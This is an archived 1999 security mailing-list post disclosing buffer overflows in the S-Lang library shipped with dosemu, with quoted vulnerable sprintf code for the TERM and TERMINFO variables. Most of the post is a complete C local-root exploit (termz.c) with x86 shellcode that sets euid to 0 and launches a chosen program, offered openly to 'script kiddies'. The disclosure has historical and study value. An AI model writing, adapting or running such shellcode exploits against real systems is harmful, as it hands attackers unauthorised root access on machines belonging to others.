Dosemu/S-Lang Overflow + sploit

From: (digitat_private)
Date: Sun Jan 03 1999 - 22:26:52 PST

  • Next message: Karl Stevens: "Re: PATH variable in zip-slackware 2.0.35"

    DiGiT and crazy-b present:
    
    Dosemu's S-Lang linux/others? local buffer overflow...
    
    Risk: local users can obtain root privs. phear script kiddies!
    
    The story:
    
    <DiGiT>
    
    During christmas [IG-88] told me a possible bug in dosemu and libtermcap,
    first thing I checked was $TERM, and .... overflow (TM) .. after further
    checking me and crazy-b concluded that this bug was not in libtermcap, but
    in the S-Lang library. S-Lang is is an interpreted language see
    http://space.mit.edu/%7Edavis/slang.html for more info about it.
    
    <crazy-b>
    Because of the rumors we suspected it could already be known, so we
    started investigating this. We found that redhat had already posted a
    patch for this overflow, and another similar bug, in June '98. And here
    comes the big BUT! DiGiT had already successfully exploited the dosemu on
    a standard redhat 5.2 installation which came out in November!! Dosemu
    comes with its own slang lib, and this had not been patched! Kind of
    sloppy, since the 5.2 distrib was released months after the discovery of
    this bug. Possibly because of bad communication with the dosemu
    programmers?
    
    <DiGiT>
    These are the two overflow conditions in S-Lang; The first one we found
    could be exploited by setting the TERM variable to write past the end of
    err_buf:
    
            sldisply.c line 1616:
    
                    SLtt_get_terminfo (void)
            -- cut
                    char err_buf[512];
                    sprintf (err_buf, "Unknown terminal: %s\n\...cut", term);
    
    Very simple that! And the second overflow is equally obvious... We cause
    this overflow by setting TERMINFO to overwrite the file var:
    This latter one depends on what version of Dosemu, this only appears to be
    overflowable in some releases of dosemu which have TERMCAP defined.
    
            SLtt_tigetent get's called in sldisply.c line 1647:
    
                    #ifndef USE_TERMCAP
                       if (NULL == (Tbuf = tgetent (term)))
    
            sltermin.c line 229:
            char file[256];
    
                    char *SLtt_tigetent (char *term)
            --cut
                    tidir = Terminfo_Dirs[i];
                            if (tidir != NULL)
                             {
                               sprintf (file, "%s/%c/%s", tidir, *term, term);
    
    
    In both cases the exploitable condition will not exist if you have TERMCAP
    set. So script kiddies, unset TERMCAP before you try to exploit this!
    
    <crazy-b>
    Looks to me like this mess is due to lack of good communication between
    the programmers. It seems this slipped by the dosemu team anyways!
    Possibly the S-Lang programmers was not aware of this either.
    
    <DiGiT>
    >From testing we have found that redhat 4.2, and 5.X are vulnerable to
    these exploits. So is suse 5.X. It is not unlikely that other linux
    distribs contain the vulnerable dosemu. S-Lang has been ported to many
    OS', but i haven't had the chance to see if any of them use it, or dosemu
    for that matter. dosemu sources are distributed with the slackware CD's.
    Wether or not these are vulnerable i have not checked. Also it is worth
    mentioning that by default Suse and Debian give "ALL USERS" full access to
    dosemu, bad bad bad i think...
    
    
    As an example we give you our linux/x86 exploit (script kiddies: W0W FREE
    LEECH!) for the Dosemu + S-Lang overflow:
    
    NOTE: By default rh 5.2, does not allow reg user's to run dosemu so this
    exploit will probably not work for you, BUT the overflow exists.
    
    Exploit:
    -- BEGIN termz.c
    
    /*
     *  dosemu/slang overflow exploit for linux/x86
     *
     *  by DiGiT and crazy-b!
     *
     *  !!! for usage information run the program with no arguments !!!
     *
     *  notez:
     *
     *  with some versions of dosemu, an I/O error will occur when exploiting.
     *  this means you can not communicate with the prog you run from your
     *  terminal. after executing you may also need to reset your terminal.
     *
     *  we suggest writing a shell script to secure your root privs, if you
     *  are not able to communicate with your shell. for this reason we have
     *  made it possible to specify what you want to execute. you may however
     *  not add any arguments to that command. this is because there simply
     *  weren't enought time for coding!
     *
     *  because dosemu change its euid to non-root, we have added a little bit
     *  of code to set this to 0 for you. it can be selected before compiling,
     *  and should be on by default.
     *
     * Greetz, #hax, ADM, special greetz to [IG-88]!!
     *
     * Note: if yah got probs, brute force.
     */
    
    #define PATH_DOSEMU "/usr/bin/dos"
    
    #define DEF_BUFSIZE_1 268
    #define DEF_OFFSET_1 911
    #define DEF_BUFSIZE_2 1007
    #define DEF_OFFSET_2 100
    
    #define UNSET_TERMCAP
    #define SET_EUID
    #define IQ_LOCKED
    
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    char sc[] =
    #ifdef SET_EUID
            "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" /* set euid - craz */
    #endif
            "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
            "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff";
    
    long get_sp ()
    {
            __asm__("movl %esp,%eax");
    
    }
    
    void usage ()
    {
            printf("usage: ./sploit type proggie [offset [bufsize]]\n\n");
            printf("type must be one of:\t1 :TERMINFO\n\t\t\t2 :TERM\n\n");
            exit(0);
    }
    
    int main (int argc, char **argv)
    {
            int bufsize, offset, n, type;
            char *buf, *ptr;
            long addr;
    
            printf("\n      (= DiGiT and crazy-b presents: =)\n");
            printf("    (= linux/x86 dosemu/slang overflow =)\n\n");
    
            if (argc < 3 || argc > 5) usage();
    
            type = atoi(argv[1]);
            if (type < 1 || type > 2) usage();
    
            bufsize = argc > 4 ? atoi(argv[4]) :
                    (type == 1 ? DEF_BUFSIZE_1 : DEF_BUFSIZE_2);
            offset = argc > 3 ? atoi(argv[3]) :
                    (type == 1 ? DEF_OFFSET_1 : DEF_OFFSET_2);
    
            n = strlen(argv[2]);
    #ifdef SET_EUID
            sc[23] = sc[33] = n + 5; sc[15] = sc[30] = n + 1; sc[20] = n;
    #else
            sc[13] = sc[23] = n + 5; sc[5] = sc[20] = n + 1; sc[10] = n;
    #endif
    
            if ((buf = malloc(bufsize + 1)) == NULL) {
                    perror("malloc");
                    exit(-1);
            }
    
            addr = get_sp() - offset;
    
            memset(buf, 0x90, bufsize);
            ptr = (buf + bufsize) - (strlen(sc) + strlen(argv[2]) + 8);
            for (n = 0; n < strlen(sc); n++)
                    *(ptr++) = sc[n];
            for (n = 0; n < strlen(argv[2]); n++)
                    *(ptr++) = argv[2][n];
            *(long *)((buf + bufsize) - 4) = addr;
            *(long *)((buf + bufsize) - 8) = addr - 16;
    
            printf(";;; type: %s, launching: %s\n",
                    type == 1 ? "TERMINFO" : "TERM", argv[2]);
            printf(";;; bufsize: %i, offset: %i, address: 0x%lx\n\n",
                    bufsize, offset, addr);
    
    
    #ifdef UNSET_TERMCAP
            unsetenv("TERMCAP");
    #endif
    
    #ifndef IQ_LOCKED
            setenv(type == 1 ? "TERMINFO" : "TERM", buf, 1);
            execl(PATH_DOSEMU, "dos", 0);
    #endif
    
            exit(-1);
    }
    
    -- END termz.c
    
    Cyas..... DiGiT digitat_private, crazy-b crazy-bat_private :>
    
    Greetz, #hax, ADM, special greetz to [IG-88]!!
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:27:14 PDT